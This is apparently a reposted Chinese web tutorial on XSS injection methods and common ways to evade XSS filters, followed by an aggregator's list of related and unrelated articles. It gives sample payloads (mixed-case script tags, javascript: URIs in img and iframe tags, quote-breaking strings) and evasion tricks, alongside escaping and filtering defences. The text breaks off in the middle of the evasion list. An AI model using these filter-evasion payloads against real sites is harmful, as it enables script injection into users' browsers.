XSS注入方式和逃避XSS过滤的常用方法(整理)
(转自黑吧安全网http://www.myhack58.com/)
web前端开发常见的安全问题就是会遭遇XSS注入,而常见的XSS注入有以下2种方式:
一、html标签注入
这是最常见的一种,主要入口为表单项(一般就是正则过滤不周全)、内联样式表(exploer)
正则过滤的解决办法,php一般会使用htmlspecialchars或者htmlentities函数进行转义
注入方式有<script>/图片标签/连接标签/head头中其他标签,比如:
<sCrIpT. src=xss.js></sCrIpT> <<script>alert("xss");//<</script>
img src="javascript.:alert('xss');"> <img """><script>alert("xss")</script>">
<script. a=">" SRC="xss.js"></script> <iframe. src="javascript.:alert('xss');"></iframe>
二、js代码注入
一般为使用JS代码直接引用,不经校验的字符串,解析不安全的json(p)数据等
比如一个name字段,没有经过过滤时,当name等于以下输入时
';alert('xss');//
'';!--"<xss>=&{()}
那使用document.write('u name is' + name);,就会破坏原有结构,插入不期望的数据
三、应对XSS注入的方法主要有2种:
1、对输入的数据进行转义保存,在输出时再进行还原
2、对输入的数据进行过滤,确保输入数据符合我们的期望(数据类型、长度、过滤空格/特殊字符、判断唯一性等)
对应的,逃避过滤的方法就有以下几种:
A、许多过滤匹配特殊的标签,包括起始与结束尖括号。但是,许多浏览器接受结束括号前的空白符,允许攻击者轻易避开这种过滤。例如:<script. >
B、因为许多人用小写字符编写HTML代码,所以一些过滤仅检查常用的小写恶意标签。例如:<ScRiPt>,通过改变字符大小写避开过滤。
C、一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容,但通常可以依靠周围现有的语法,结束注入的标签,从而避开这种过滤。比如:
a 某个表单中的value值为:
XSS注入方式和逃避XSS过滤的常用方法(整理)的更多相关文章
- 简单的xss注入和防御
什么是xss注入: xss通常就是通过巧妙的方法注入指令到指定页面,使用户加载执行的恶意的js(或者其他类型)的代码,攻击者会获取用户的一系列信息,如cookie等,从而进行其他用户信息的盗取 为什么 ...
- Java Filter过滤xss注入非法参数的方法
http://blog.csdn.NET/feng_an_qi/article/details/45666813 Java Filter过滤xss注入非法参数的方法 web.xml: <filt ...
- XSS注入
XSS 原理: 程序对输入和输出没有做合适的处理,导致"精心构造"的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害. 分类 : 危害:存储型 > 反射型 > ...
- 富文本编辑器防止xss注入javascript版
富文本编辑器:ueditor 其实富文本编辑器已经有防止xss注入功能,但是你服务端程序在接收的时候在做一次转义,否则有可能然后前端验证直接提交数据导致被xss攻击. 为了节省后端程序开销则在前端 显 ...
- 【web安全】第一弹:利用xss注入获取cookie
首先一定要先来吐槽一下tipask系统.这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御. 言归正传: [准备1] cookie接收服务器. 平时喜欢用sae,所以在sae ...
- PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等
页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...
- 关于web XSS注入问题
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,附带公司写的一个filer. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经 ...
- 初级安全入门——XSS注入的原理与利用
XSS的简单介绍 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者 ...
- web安全之XSS注入
之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入 ...
随机推荐
- (DP)HDU - 1003 Max Sum
这是一道DP入门题目,知识点是“最大连续子序列” 题目大意:给你一个长度为n的数字序列,取其中一段连续的序列,要求和最大: 分析:这是一道裸题,没有什么花里胡哨的东西,主要是写出状态转移方程 dp[i ...
- ubuntu 去除开机背景
sudo apt remove plymouth sudo sed -i 's/ splash//g' /etc/default/grub sudo update-grub
- 一步一步学Vue(九) 路由元数据
一步一步学Vue(九):https://www.cnblogs.com/Johnzhang/p/7260888.html
- Spring Boot 如何防止重复提交?
Java技术栈 www.javastack.cn 优秀的Java技术公众号 在传统的web项目中,防止重复提交,通常做法是:后端生成一个唯一的提交令牌(uuid),并存储在服务端.页面提交请求携带这个 ...
- Intellij Idea乱码解决方案都在这里了
乱码场景 使用Intellij Idea经常遇到乱码问题,可以总结为以下几类乱码的场景. 1.工程代码乱码. 2.main方法运行,控制台乱码. 3.tomcat运行,控制台乱码. 解决方案 1.工程 ...
- mysql 性能调优 参数随写
set global innodb_buffer_pool_size = 12*1024*1024*1024;set global bulk_insert_buffer_size = 12582912 ...
- Web前端基础学习-2
盒子模型 在页面中,我们将所有的元素全部看做是一个盒子,页面布局就是将大大小小不同的盒子堆砌在一起,而一个盒子由以下几部分组成: padding:内边距,内容到边框的距离: margin:外边距,其他 ...
- ros节点启动和关闭相关
Ros node启动与关闭 1. ros运行单位: Ros程序运行的单位是ros node. 2. ros 节点的启动: (1)初始化ros节点:通过调用ros::init()接口实现:可以通过参数指 ...
- 二、sql新增后返回主键|sql 使用 FOR XML PATH实现字符串拼接|sql如果存在就修改不存在就新增
一.sql新增后返回主键 1,返回自增的主键: INSERT INTO 表名 (字段名1,字段名2,字段名3,…) VALUES (值1,值2,值3,…) SELECT @@IDENTITY 2,返回 ...
- 常用yum源之(Percona MySQL)
[percona]name = CentOS $releasever - Perconabaseurl=http://repo.percona.com/centos/$releasever/os/$b ...